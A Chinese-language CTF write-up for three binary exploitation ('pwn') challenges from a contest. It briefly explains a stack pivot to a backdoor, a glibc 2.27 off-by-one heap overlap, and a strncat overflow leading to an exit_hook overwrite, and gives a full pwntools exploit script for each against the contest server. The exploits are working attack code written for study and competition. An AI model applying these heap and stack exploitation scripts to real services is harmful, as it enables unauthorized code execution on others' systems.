长安“战疫”网络安全卫士守护赛(pwn)write up

比赛总体来说还是可以的。

pwn1

挺正常的栈溢出,还有一个后门,直接利用之后错了,看了一下汇编发现rsp被改了。

有了buf的地址直接栈迁移一下,让rip跳到bk这个后门。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

file_name = './z1r0'

context(arch='i386', log_level = 'debug')

debug = 1
if debug:
r = remote('113.201.14.253', 16088)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

bk = 0x8048540

r.recvuntil('0x')
buf_addr = int(r.recv(8), 16)
success('buf_addr = ' + hex(buf_addr))

p1 = p32(bk) + b'a' * 0x30 + p32(buf_addr + 4)
r.sendline(p1)

r.interactive()

pwn2

2.27下的off-by-one。overlapping,作者的blog里有off-by-one的详细教程,不多说了直接上exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
r = remote('113.201.14.253', 16066)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Choice: '

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('size: ', str(size))
r.sendafter('content: ', content)

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('idx: ', str(index))
r.sendlineafter('content: ', content)

def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('idx: ', str(index))

def show(index):
r.sendlineafter(menu, '4')
r.sendlineafter('idx: ', str(index))

for i in range(7):
add(0xf8, 'aaaa\n') #0 - 6

add(0xf8, 'bbbb\n')#7
add(0x88, 'cccc\n')#8
add(0xf8, 'aaaa\n')#9
add(0x88, 'bbbb\n')#10

for i in range(7):
delete(i)

delete(8)
delete(7)

add(0x88, b'a' * 0x80 + p64(0x90 + 0x100) + b'\00') #8

delete(9)
dbg()
for i in range(7):
add(0xf8, '/bin/sh\x00\n')

add(0xf8, 'cccc\n')

show(0)

malloc_hook = u64(r.recvuntil('\x7f').ljust(8, b'\x00')) - 96 - 0x10
success('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))
one = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = one[1] + libc_base

add(0x88, 'ffff\n')

delete(0)

add(0x88, p64(free_hook) + b'\n')

delete(9)

p1 = p64(free_hook)
edit(0, p1 + b'\n')

add(0x88, p1 + b'\n')
add(0x88, p64(one_gadget) + b'\n')

delete(5)

r.interactive()

pwn3

这里strncat会加上一个\x00,所以可以level进行覆盖,将level改成0x7fffffff即可拿到puts。

这里又可以任意地址改写,所以直接将exit_hook改成one_gadget即可。这题和pwnable tw的一题相似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
r = remote('113.201.14.253', 16033)
#r = remote('chall.pwnable.tw', 10100)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./libc-2.23.so')

def dbg():
gdb.attach(r)

menu = 'You choice:'

def create(des):
r.sendlineafter(menu, '1')
r.sendafter('Give me a character level :', des)

def power(des):
r.sendlineafter(menu, '2')
r.sendafter('Give me another level :', des)

def beat():
r.sendlineafter(menu, '3')

create('a' * 0x20)
power('b' * 0x10)

p1 = p64(0x7FFFFFFF)
power(p1)

beat()

sleep(1)
r.recvuntil('0x')
puts_addr = int(r.recv(12), 16)
success('puts_addr = ' + hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
exit_addr = libc_base + libc.sym['exit']
success('exit_addr = ' + hex(exit_addr))
exit_hook = libc_base + 0x5f0040+3848
one = [0x45226, 0xf1247]
one_gadget = one[1] + libc_base

r.recvuntil('Warrior,please leave your name:')
r.send(p64(exit_hook))
r.recvuntil("We'll have a statue made for you!")
r.send(p64(one_gadget))


r.interactive()